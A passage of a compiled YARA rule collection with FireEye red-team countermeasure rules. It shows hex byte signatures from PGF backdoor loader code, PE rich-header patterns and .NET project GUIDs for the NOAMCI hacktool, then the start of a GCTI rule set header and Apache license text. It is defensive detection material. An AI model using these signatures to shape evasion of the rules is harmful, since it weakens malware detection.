30 14 3C 6A 89 04 24 C7 85 18 F9 FF FF 02 00 00 00 E8 59 FC FF FF C7 85 10 F9 FF FF 00 00 00 00 EB 58 90 EB 01 90 83 45 D8 04 E9 FA FE FF FF 8B 45 E4 89 45 C8 8B 45 C8 8B 40 3C 89 C2 8B 45 E4 01 D0 89 45 C4 8B 45 C4 8B 50 28 8B 45 E4 01 D0 89 45 C0 C7 44 24 04 30 14 3C 6A 8B 45 C0 89 04 24 C7 85 18 F9 FF FF 02 00 00 00 E8 FF FB FF FF C7 85 10 F9 FF FF 01 00 00 00 8D 85 9C FD FF FF 89 C1 E8 55 BC 01 00 83 BD 10 F9 FF FF 01 EB 70 8B 95 1C F9 FF FF 8B 85 18 F9 FF FF 85 C0 74 0C 83 E8 01 85 C0 74 2D 83 E8 01 0F 0B 89 95 10 F9 FF FF 8D 45 BF 89 C1 E8 40 08 01 00 8B 85 10 F9 FF FF 89 04 24 C7 85 18 F9 FF FF FF FF FF FF E8 98 A6 00 00 89 95 10 F9 FF FF 8D 85 9C FD FF FF 89 C1 E8 F5 BB 01 00 8B 85 10 F9 FF FF 89 04 24 C7 85 18 F9 FF FF FF FF FF FF E8 6D A6 00 00 90 8D 85 14 F9 FF FF 89 04 24 E8 6E A3 00 00 8D 65 F4 5B 5E 5F 5D C3 }
		$cond3 = { 55 89 E5 57 56 53 81 EC FC 06 00 00 C7 85 2C F9 FF FF F0 EF D5 63 C7 85 30 F9 FF FF CC FF D5 63 8D 85 34 F9 FF FF 89 28 BA 28 1B D4 63 89 50 04 89 60 08 8D 85 14 F9 FF FF 89 04 24 E8 BF A6 00 00 A1 64 A1 D9 63 C7 85 18 F9 FF FF FF FF FF FF FF D0 C7 44 24 08 04 01 00 00 8D 95 B6 FD FF FF 89 54 24 04 89 04 24 E8 BC AE 00 00 83 EC 0C 85 C0 0F 94 C0 84 C0 0F 85 8B 03 00 00 8D 45 BF 89 C1 E8 5A 0B 01 00 8D 85 9C FD FF FF 8D 55 BF 89 54 24 04 8D 95 B6 FD FF FF 89 14 24 C7 85 18 F9 FF FF 01 00 00 00 89 C1 E8 E3 B5 01 00 83 EC 08 8D 45 BF 89 C1 E8 56 0B 01 00 A1 68 A1 D9 63 C7 85 18 F9 FF FF 02 00 00 00 FF D0 89 44 24 04 C7 04 24 08 00 00 00 E8 55 AE 00 00 83 EC 08 89 45 D0 83 7D D0 00 75 0F C7 85 10 F9 FF FF 00 00 00 00 E9 8C 02 00 00 C7 45 E4 00 00 00 00 C7 45 E0 00 00 00 00 C7 85 74 F9 FF FF 28 04 00 00 8D 85 74 F9 FF FF 89 44 24 04 8B 45 D0 89 04 24 C7 85 18 F9 FF FF 02 00 00 00 E8 F3 AD 00 00 83 EC 08 89 45 DC 83 7D DC 00 74 67 8D 85 9C FD FF FF C7 44 24 04 00 00 00 00 8D 95 74 F9 FF FF 83 C2 20 89 14 24 89 C1 E8 86 FF 00 00 83 EC 08 83 F8 FF 0F 95 C0 84 C0 74 12 8B 85 88 F9 FF FF 89 45 E4 8B 85 8C F9 FF FF 89 45 E0 8D 85 74 F9 FF FF 89 44 24 04 8B 45 D0 89 04 24 C7 85 18 F9 FF FF 02 00 00 00 E8 88 AD 00 00 83 EC 08 89 45 DC EB 93 8B 45 D0 89 04 24 A1 44 A1 D9 63 C7 85 18 F9 FF FF 02 00 00 00 FF D0 83 EC 04 83 7D E4 00 74 06 83 7D E0 00 75 0F C7 85 10 F9 FF FF 00 00 00 00 E9 AD 01 00 00 C7 04 24 7E 40 D9 63 A1 7C A1 D9 63 C7 85 18 F9 FF FF 02 00 00 00 FF D0 83 EC 04 C7 44 24 04 8A 40 D9 63 89 04 24 A1 80 A1 D9 63 FF D0 83 EC 08 89 45 CC 89 E8 89 45 D8 8D 85 6C F9 FF FF 89 44 24 04 8D 85 70 F9 FF FF 89 04 24 A1 70 A1 D9 63 FF D0 83 EC 08 C7 45 D4 00 00 00 00 8B 55 D8 8B 85 6C F9 FF FF 39 C2 0F 83 F5 00 00 00 8B 45 D8 8B 00 3D FF 0F 00 00 0F 86 D8 00 00 00 8B 45 D8 8B 00 39 45 CC 73 19 8B 45 D8 8B 00 8B 55 CC 81 C2 00 10 00 00 39 D0 73 07 C7 45 D4 01 00 00 00 83 7D D4 00 0F 84 AF 00 00 00 8B 45 D8 8B 00 39 45 E4 0F 83 A1 00 00 00 8B 45 D8 8B 00 8B 4D E4 8B 55 E0 01 CA 39 D0 0F 83 8C 00 00 00 B9 00 00 00 00 B8 1C 00 00 00 83 E0 FC 89 C2 B8 00 00 00 00 89 8C 05 50 F9 FF FF 83 C0 04 39 D0 72 F2 8B 45 D8 8B 00 C7 44 24 08 1C 00 00 00 8D 95 50 F9 FF FF 89 54 24 04 89 04 24 A1 C8 A1 D9 63 C7 85 18 F9 FF FF 02 00 00 00 FF D0 83 EC 0C 8B 85 64 F9 FF FF 83 E0 20 85 C0 74 2E 8B 45 D8 8B 00 C7 44 24 04 30 14 D4 63 89 04 24 C7 85 18 F9 FF FF 02 00 00 00 E8 59 FC FF FF C7 85 10 F9 FF FF 00 00 00 00 EB 58 90 EB 01 90 83 45 D8 04 E9 FA FE FF FF 8B 45 E4 89 45 C8 8B 45 C8 8B 40 3C 89 C2 8B 45 E4 01 D0 89 45 C4 8B 45 C4 8B 50 28 8B 45 E4 01 D0 89 45 C0 C7 44 24 04 30 14 D4 63 8B 45 C0 89 04 24 C7 85 18 F9 FF FF 02 00 00 00 E8 FF FB FF FF C7 85 10 F9 FF FF 01 00 00 00 8D 85 9C FD FF FF 89 C1 E8 61 BC 01 00 83 BD 10 F9 FF FF 01 EB 70 8B 95 1C F9 FF FF 8B 85 18 F9 FF FF 85 C0 74 0C 83 E8 01 85 C0 74 2D 83 E8 01 0F 0B 89 95 10 F9 FF FF 8D 45 BF 89 C1 E8 4C 08 01 00 8B 85 10 F9 FF FF 89 04 24 C7 85 18 F9 FF FF FF FF FF FF E8 A4 A6 00 00 89 95 10 F9 FF FF 8D 85 9C FD FF FF 89 C1 E8 01 BC 01 00 8B 85 10 F9 FF FF 89 04 24 C7 85 18 F9 FF FF FF FF FF FF E8 79 A6 00 00 90 8D 85 14 F9 FF FF 89 04 24 E8 7A A3 00 00 8D 65 F4 5B 5E 5F 5D C3 }
		$cond4 = { 55 89 E5 57 56 53 81 EC FC 06 00 00 C7 85 ?? ?? ?? ?? 90 EE 01 6D C7 85 ?? ?? ?? ?? 6C FE 01 6D 8D 85 ?? ?? ?? ?? 89 28 BA CC 19 00 6D 89 50 ?? 89 60 ?? 8D 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? FF FF FF FF FF D0 C7 44 24 ?? 04 01 00 00 8D 95 ?? ?? ?? ?? 89 54 24 ?? 89 04 24 E8 ?? ?? ?? ?? 83 EC 0C 85 C0 0F 94 C0 84 C0 0F 85 ?? ?? ?? ?? 8D 45 ?? 89 C1 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8D 55 ?? 89 54 24 ?? 8D 95 ?? ?? ?? ?? 89 14 24 C7 85 ?? ?? ?? ?? 01 00 00 00 89 C1 E8 ?? ?? ?? ?? 83 EC 08 8D 45 ?? 89 C1 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 02 00 00 00 FF D0 89 44 24 ?? C7 04 24 08 00 00 00 E8 ?? ?? ?? ?? 83 EC 08 89 45 ?? 83 7D ?? 00 75 ?? C7 85 ?? ?? ?? ?? 00 00 00 00 E9 ?? ?? ?? ?? C7 45 ?? 00 00 00 00 C7 45 ?? 00 00 00 00 C7 85 ?? ?? ?? ?? 28 04 00 00 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8B 45 ?? 89 04 24 C7 85 ?? ?? ?? ?? 02 00 00 00 E8 ?? ?? ?? ?? 83 EC 08 89 45 ?? 83 7D ?? 00 74 ?? 8D 85 ?? ?? ?? ?? C7 44 24 ?? 00 00 00 00 8D 95 ?? ?? ?? ?? 83 C2 20 89 14 24 89 C1 E8 ?? ?? ?? ?? 83 EC 08 83 F8 FF 0F 95 C0 84 C0 74 ?? 8B 85 ?? ?? ?? ?? 89 45 ?? 8B 85 ?? ?? ?? ?? 89 45 ?? 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8B 45 ?? 89 04 24 C7 85 ?? ?? ?? ?? 02 00 00 00 E8 ?? ?? ?? ?? 83 EC 08 89 45 ?? EB ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 02 00 00 00 FF D0 83 EC 04 83 7D ?? 00 74 ?? 83 7D ?? 00 75 ?? C7 85 ?? ?? ?? ?? 00 00 00 00 E9 ?? ?? ?? ?? C7 04 24 0C 40 05 6D A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 02 00 00 00 FF D0 83 EC 04 C7 44 24 ?? 18 40 05 6D 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC 08 89 45 ?? 89 E8 89 45 ?? 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8D 85 ?? ?? ?? ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC 08 C7 45 ?? 00 00 00 00 8B 55 ?? 8B 85 ?? ?? ?? ?? 39 C2 0F 83 ?? ?? ?? ?? 8B 45 ?? 8B 00 3D FF 0F 00 00 0F 86 ?? ?? ?? ?? 8B 45 ?? 8B 00 39 45 ?? 73 ?? 8B 45 ?? 8B 00 8B 55 ?? 81 C2 00 10 00 00 39 D0 73 ?? C7 45 ?? 01 00 00 00 83 7D ?? 00 0F 84 ?? ?? ?? ?? 8B 45 ?? 8B 00 39 45 ?? 0F 83 ?? ?? ?? ?? 8B 45 ?? 8B 00 8B 4D ?? 8B 55 ?? 01 CA 39 D0 0F 83 ?? ?? ?? ?? B9 00 00 00 00 B8 1C 00 00 00 83 E0 FC 89 C2 B8 00 00 00 00 89 8C 05 ?? ?? ?? ?? 83 C0 04 39 D0 72 ?? 8B 45 ?? 8B 00 C7 44 24 ?? 1C 00 00 00 8D 95 ?? ?? ?? ?? 89 54 24 ?? 89 04 24 A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 02 00 00 00 FF D0 83 EC 0C 8B 85 ?? ?? ?? ?? 83 E0 20 85 C0 74 ?? 8B 45 ?? 8B 00 C7 44 24 ?? 30 14 00 6D 89 04 24 C7 85 ?? ?? ?? ?? 02 00 00 00 E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 00 00 00 00 EB ?? 90 EB ?? 90 83 45 ?? 04 E9 ?? ?? ?? ?? 8B 45 ?? 89 45 ?? 8B 45 ?? 8B 40 ?? 89 C2 8B 45 ?? 01 D0 89 45 ?? 8B 45 ?? 8B 50 ?? 8B 45 ?? 01 D0 89 45 ?? C7 44 24 ?? 30 14 00 6D 8B 45 ?? 89 04 24 C7 85 ?? ?? ?? ?? 02 00 00 00 E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 01 00 00 00 8D 85 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? 01 EB ?? 8B 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 85 C0 74 ?? 83 E8 01 85 C0 74 ?? 83 E8 01 0F 0B 89 95 ?? ?? ?? ?? 8D 45 ?? 89 C1 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 C7 85 ?? ?? ?? ?? FF FF FF FF E8 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 C7 85 ?? ?? ?? ?? FF FF FF FF E8 ?? ?? ?? ?? 90 8D 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8D 65 ?? 5B 5E 5F 5D C3 }
		$cond5 = { 55 89 E5 57 56 53 81 EC FC 06 00 00 C7 85 ?? ?? ?? ?? B0 EF 3D 6A C7 85 ?? ?? ?? ?? 8C FF 3D 6A 8D 85 ?? ?? ?? ?? 89 28 BA F4 1A 3C 6A 89 50 ?? 89 60 ?? 8D 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? FF FF FF FF FF D0 C7 44 24 ?? 04 01 00 00 8D 95 ?? ?? ?? ?? 89 54 24 ?? 89 04 24 E8 ?? ?? ?? ?? 83 EC 0C 85 C0 0F 94 C0 84 C0 0F 85 ?? ?? ?? ?? 8D 45 ?? 89 C1 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8D 55 ?? 89 54 24 ?? 8D 95 ?? ?? ?? ?? 89 14 24 C7 85 ?? ?? ?? ?? 01 00 00 00 89 C1 E8 ?? ?? ?? ?? 83 EC 08 8D 45 ?? 89 C1 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 02 00 00 00 FF D0 89 44 24 ?? C7 04 24 08 00 00 00 E8 ?? ?? ?? ?? 83 EC 08 89 45 ?? 83 7D ?? 00 75 ?? C7 85 ?? ?? ?? ?? 00 00 00 00 E9 ?? ?? ?? ?? C7 45 ?? 00 00 00 00 C7 45 ?? 00 00 00 00 C7 85 ?? ?? ?? ?? 28 04 00 00 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8B 45 ?? 89 04 24 C7 85 ?? ?? ?? ?? 02 00 00 00 E8 ?? ?? ?? ?? 83 EC 08 89 45 ?? 83 7D ?? 00 74 ?? 8D 85 ?? ?? ?? ?? C7 44 24 ?? 00 00 00 00 8D 95 ?? ?? ?? ?? 83 C2 20 89 14 24 89 C1 E8 ?? ?? ?? ?? 83 EC 08 83 F8 FF 0F 95 C0 84 C0 74 ?? 8B 85 ?? ?? ?? ?? 89 45 ?? 8B 85 ?? ?? ?? ?? 89 45 ?? 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8B 45 ?? 89 04 24 C7 85 ?? ?? ?? ?? 02 00 00 00 E8 ?? ?? ?? ?? 83 EC 08 89 45 ?? EB ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 02 00 00 00 FF D0 83 EC 04 83 7D ?? 00 74 ?? 83 7D ?? 00 75 ?? C7 85 ?? ?? ?? ?? 00 00 00 00 E9 ?? ?? ?? ?? C7 04 24 62 40 41 6A A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 02 00 00 00 FF D0 83 EC 04 C7 44 24 ?? 6E 40 41 6A 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC 08 89 45 ?? 89 E8 89 45 ?? 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8D 85 ?? ?? ?? ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC 08 C7 45 ?? 00 00 00 00 8B 55 ?? 8B 85 ?? ?? ?? ?? 39 C2 0F 83 ?? ?? ?? ?? 8B 45 ?? 8B 00 3D FF 0F 00 00 0F 86 ?? ?? ?? ?? 8B 45 ?? 8B 00 39 45 ?? 73 ?? 8B 45 ?? 8B 00 8B 55 ?? 81 C2 00 10 00 00 39 D0 73 ?? C7 45 ?? 01 00 00 00 83 7D ?? 00 0F 84 ?? ?? ?? ?? 8B 45 ?? 8B 00 39 45 ?? 0F 83 ?? ?? ?? ?? 8B 45 ?? 8B 00 8B 4D ?? 8B 55 ?? 01 CA 39 D0 0F 83 ?? ?? ?? ?? B9 00 00 00 00 B8 1C 00 00 00 83 E0 FC 89 C2 B8 00 00 00 00 89 8C 05 ?? ?? ?? ?? 83 C0 04 39 D0 72 ?? 8B 45 ?? 8B 00 C7 44 24 ?? 1C 00 00 00 8D 95 ?? ?? ?? ?? 89 54 24 ?? 89 04 24 A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 02 00 00 00 FF D0 83 EC 0C 8B 85 ?? ?? ?? ?? 83 E0 20 85 C0 74 ?? 8B 45 ?? 8B 00 C7 44 24 ?? 30 14 3C 6A 89 04 24 C7 85 ?? ?? ?? ?? 02 00 00 00 E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 00 00 00 00 EB ?? 90 EB ?? 90 83 45 ?? 04 E9 ?? ?? ?? ?? 8B 45 ?? 89 45 ?? 8B 45 ?? 8B 40 ?? 89 C2 8B 45 ?? 01 D0 89 45 ?? 8B 45 ?? 8B 50 ?? 8B 45 ?? 01 D0 89 45 ?? C7 44 24 ?? 30 14 3C 6A 8B 45 ?? 89 04 24 C7 85 ?? ?? ?? ?? 02 00 00 00 E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 01 00 00 00 8D 85 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? 01 EB ?? 8B 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 85 C0 74 ?? 83 E8 01 85 C0 74 ?? 83 E8 01 0F 0B 89 95 ?? ?? ?? ?? 8D 45 ?? 89 C1 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 C7 85 ?? ?? ?? ?? FF FF FF FF E8 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 C7 85 ?? ?? ?? ?? FF FF FF FF E8 ?? ?? ?? ?? 90 8D 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8D 65 ?? 5B 5E 5F 5D C3 }
		$cond6 = { 55 89 E5 57 56 53 81 EC FC 06 00 00 C7 85 ?? ?? ?? ?? F0 EF D5 63 C7 85 ?? ?? ?? ?? CC FF D5 63 8D 85 ?? ?? ?? ?? 89 28 BA 28 1B D4 63 89 50 ?? 89 60 ?? 8D 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? FF FF FF FF FF D0 C7 44 24 ?? 04 01 00 00 8D 95 ?? ?? ?? ?? 89 54 24 ?? 89 04 24 E8 ?? ?? ?? ?? 83 EC 0C 85 C0 0F 94 C0 84 C0 0F 85 ?? ?? ?? ?? 8D 45 ?? 89 C1 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8D 55 ?? 89 54 24 ?? 8D 95 ?? ?? ?? ?? 89 14 24 C7 85 ?? ?? ?? ?? 01 00 00 00 89 C1 E8 ?? ?? ?? ?? 83 EC 08 8D 45 ?? 89 C1 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 02 00 00 00 FF D0 89 44 24 ?? C7 04 24 08 00 00 00 E8 ?? ?? ?? ?? 83 EC 08 89 45 ?? 83 7D ?? 00 75 ?? C7 85 ?? ?? ?? ?? 00 00 00 00 E9 ?? ?? ?? ?? C7 45 ?? 00 00 00 00 C7 45 ?? 00 00 00 00 C7 85 ?? ?? ?? ?? 28 04 00 00 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8B 45 ?? 89 04 24 C7 85 ?? ?? ?? ?? 02 00 00 00 E8 ?? ?? ?? ?? 83 EC 08 89 45 ?? 83 7D ?? 00 74 ?? 8D 85 ?? ?? ?? ?? C7 44 24 ?? 00 00 00 00 8D 95 ?? ?? ?? ?? 83 C2 20 89 14 24 89 C1 E8 ?? ?? ?? ?? 83 EC 08 83 F8 FF 0F 95 C0 84 C0 74 ?? 8B 85 ?? ?? ?? ?? 89 45 ?? 8B 85 ?? ?? ?? ?? 89 45 ?? 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8B 45 ?? 89 04 24 C7 85 ?? ?? ?? ?? 02 00 00 00 E8 ?? ?? ?? ?? 83 EC 08 89 45 ?? EB ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 02 00 00 00 FF D0 83 EC 04 83 7D ?? 00 74 ?? 83 7D ?? 00 75 ?? C7 85 ?? ?? ?? ?? 00 00 00 00 E9 ?? ?? ?? ?? C7 04 24 7E 40 D9 63 A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 02 00 00 00 FF D0 83 EC 04 C7 44 24 ?? 8A 40 D9 63 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC 08 89 45 ?? 89 E8 89 45 ?? 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8D 85 ?? ?? ?? ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC 08 C7 45 ?? 00 00 00 00 8B 55 ?? 8B 85 ?? ?? ?? ?? 39 C2 0F 83 ?? ?? ?? ?? 8B 45 ?? 8B 00 3D FF 0F 00 00 0F 86 ?? ?? ?? ?? 8B 45 ?? 8B 00 39 45 ?? 73 ?? 8B 45 ?? 8B 00 8B 55 ?? 81 C2 00 10 00 00 39 D0 73 ?? C7 45 ?? 01 00 00 00 83 7D ?? 00 0F 84 ?? ?? ?? ?? 8B 45 ?? 8B 00 39 45 ?? 0F 83 ?? ?? ?? ?? 8B 45 ?? 8B 00 8B 4D ?? 8B 55 ?? 01 CA 39 D0 0F 83 ?? ?? ?? ?? B9 00 00 00 00 B8 1C 00 00 00 83 E0 FC 89 C2 B8 00 00 00 00 89 8C 05 ?? ?? ?? ?? 83 C0 04 39 D0 72 ?? 8B 45 ?? 8B 00 C7 44 24 ?? 1C 00 00 00 8D 95 ?? ?? ?? ?? 89 54 24 ?? 89 04 24 A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 02 00 00 00 FF D0 83 EC 0C 8B 85 ?? ?? ?? ?? 83 E0 20 85 C0 74 ?? 8B 45 ?? 8B 00 C7 44 24 ?? 30 14 D4 63 89 04 24 C7 85 ?? ?? ?? ?? 02 00 00 00 E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 00 00 00 00 EB ?? 90 EB ?? 90 83 45 ?? 04 E9 ?? ?? ?? ?? 8B 45 ?? 89 45 ?? 8B 45 ?? 8B 40 ?? 89 C2 8B 45 ?? 01 D0 89 45 ?? 8B 45 ?? 8B 50 ?? 8B 45 ?? 01 D0 89 45 ?? C7 44 24 ?? 30 14 D4 63 8B 45 ?? 89 04 24 C7 85 ?? ?? ?? ?? 02 00 00 00 E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 01 00 00 00 8D 85 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? 01 EB ?? 8B 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 85 C0 74 ?? 83 E8 01 85 C0 74 ?? 83 E8 01 0F 0B 89 95 ?? ?? ?? ?? 8D 45 ?? 89 C1 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 C7 85 ?? ?? ?? ?? FF FF FF FF E8 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 C7 85 ?? ?? ?? ?? FF FF FF FF E8 ?? ?? ?? ?? 90 8D 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8D 65 ?? 5B 5E 5F 5D C3 }
	condition:
		( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x010B ) and any of them
}







rule FIREEYE_RT_APT_Loader_Win_PGF_2 : FILE
{
	meta:
		description = "PE rich header matches PGF backdoor"
		author = "FireEye"
		id = "595c9e2a-3d9d-5366-9449-de1bcf333f78"
		date = "2020-12-08"
		modified = "2020-12-09"
		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/PGF/production/yara/APT_Loader_Win_PGF_2.yar#L4-L21"
		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
		hash = "226b1ac427eb5a4dc2a00cc72c163214"
		logic_hash = "b8c024c6b4c3ce9915700b62da8a1f12440215b46f3a56078707f5257e575811"
		score = 75
		quality = 75
		tags = "FILE"
		md5_2 = "2398ed2d5b830d226af26dedaf30f64a"
		md5_3 = "24a7c99da9eef1c58f09cf09b9744d7b"
		md5_4 = "aeb0e1d0e71ce2a08db9b1e5fb98e0aa"
		rev = 4
	strings:
		$rich1 = { A8 B7 17 3A EC D6 79 69 EC D6 79 69 EC D6 79 69 2F D9 24 69 E8 D6 79 69 E5 AE EC 69 EA D6 79 69 EC D6 78 69 A8 D6 79 69 E5 AE EA 69 EF D6 79 69 E5 AE FA 69 D0 D6 79 69 E5 AE EB 69 ED D6 79 69 E5 AE FD 69 E2 D6 79 69 CB 10 07 69 ED D6 79 69 E5 AE E8 69 ED D6 79 69 }
		$rich2 = { C1 CF 75 A4 85 AE 1B F7 85 AE 1B F7 85 AE 1B F7 8C D6 88 F7 83 AE 1B F7 0D C9 1A F6 87 AE 1B F7 0D C9 1E F6 8F AE 1B F7 0D C9 1F F6 8F AE 1B F7 0D C9 18 F6 84 AE 1B F7 DE C6 1A F6 86 AE 1B F7 85 AE 1A F7 BF AE 1B F7 84 C3 12 F6 81 AE 1B F7 84 C3 E4 F7 84 AE 1B F7 84 C3 19 F6 84 AE 1B F7 }
		$rich3 = { D6 60 82 B8 92 01 EC EB 92 01 EC EB 92 01 EC EB 9B 79 7F EB 94 01 EC EB 1A 66 ED EA 90 01 EC EB 1A 66 E9 EA 98 01 EC EB 1A 66 E8 EA 9A 01 EC EB 1A 66 EF EA 90 01 EC EB C9 69 ED EA 91 01 EC EB 92 01 ED EB AF 01 EC EB 93 6C E5 EA 96 01 EC EB 93 6C 13 EB 93 01 EC EB 93 6C EE EA 93 01 EC EB }
		$rich4 = { 41 36 64 33 05 57 0A 60 05 57 0A 60 05 57 0A 60 73 CA 71 60 01 57 0A 60 0C 2F 9F 60 04 57 0A 60 0C 2F 89 60 3D 57 0A 60 0C 2F 8E 60 0A 57 0A 60 05 57 0B 60 4A 57 0A 60 0C 2F 99 60 06 57 0A 60 73 CA 67 60 04 57 0A 60 0C 2F 98 60 04 57 0A 60 0C 2F 80 60 04 57 0A 60 22 91 74 60 04 57 0A 60 0C 2F 9B 60 04 57 0A 60 }
	condition:
		( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and filesize < 15MB and ( ( $rich1 at 128 ) or ( $rich2 at 128 ) or ( $rich3 at 128 ) or ( $rich4 at 128 ) )
}

rule FIREEYE_RT_APT_Hacktool_MSIL_NOAMCI_1 : FILE
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'noamci' project."
		author = "FireEye"
		id = "48066258-528f-5a70-81e1-15d6dfd9ff4f"
		date = "2020-12-08"
		modified = "2020-12-09"
		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/NOAMCI/production/yara/APT_HackTool_MSIL_NOAMCI_1.yar#L4-L16"
		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
		hash = "dd8805d0e470e59b829d98397507d8c2"
		logic_hash = "6278cfb4e9af20bbe943f4b99227c7fba276315a9f0059575b3ed4ef96a848c4"
		score = 75
		quality = 71
		tags = "FILE"
		rev = 4
	strings:
		$typelibguid0 = "7bcccf21-7ecd-4fd4-8f77-06d461fd4d51" ascii nocase wide
		$typelibguid1 = "ef86214e-54de-41c3-b27f-efc61d0accc3" ascii nocase wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

/*
 * YARA Rule Set
 * Repository Name: GCTI
 * Repository: https://github.com/chronicle/GCTI
 * Retrieval Date: 2026-03-15
 * Git Commit: 1c5fd42b1895098527fde00c2d9757edf6b303bb
 * Number of Rules: 89
 * Skipped: 0 (age), 2 (quality), 0 (score), 0 (importance)
 *
 * 
 * LICENSE
 * 
 * 
                                 Apache License
                           Version 2.0, January 2004
                        http://www.apache.org/licenses/

   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION

   1. Definitions.

      "License" shall mean the terms and conditions for use, reproduction,
      and distribution as defined by Sections 1 through 9 of this document.

      "Licensor" shall mean the copyright owner or entity authorized by
      the copyright owner that is granting the License.

      "Legal Entity" shall mean the union of the acting entity and all
      other entities that control, are controlled by, or are under common
      control with that entity. For the purposes of this definition,
      "control" means (i) the power, direct or indirect, to cause the
      direction or management of such entity, whether by contract or
      otherwise, or (ii) ownership of fifty percent (50%) or more of the
      outstanding shares, or (iii) beneficial ownership of such entity.

      "You" (or "Your") shall mean an individual or Legal Entity
      exercising permissions granted by this License.

      "Source" form shall mean the preferred form for making modifications,
      including but not limited to software source code, documentation
      source, and configuration files.

      "Object" form shall mean any form resulting from mechanical
      transformation or translation of a Source form, including but
      not limited to compiled object code, generated documentation,
      and conversions to other media types.

      "Work" shall mean the work of authorship, whether in Source or
      Object form, made available under the License, as indicated by a
      copyright notice that is included in or attached to the work
      (an example is provided in the Appendix below).

      "Derivative Works" shall mean any work, whether in Source or Object
      form, that is based on (or derived from) the Work and for which the
      editorial revisions, annotations, elaborations, or other modifications
      represent, as a whole, an original work of authorship. For the purposes
      of this License, Derivative Works shall not include works that remain
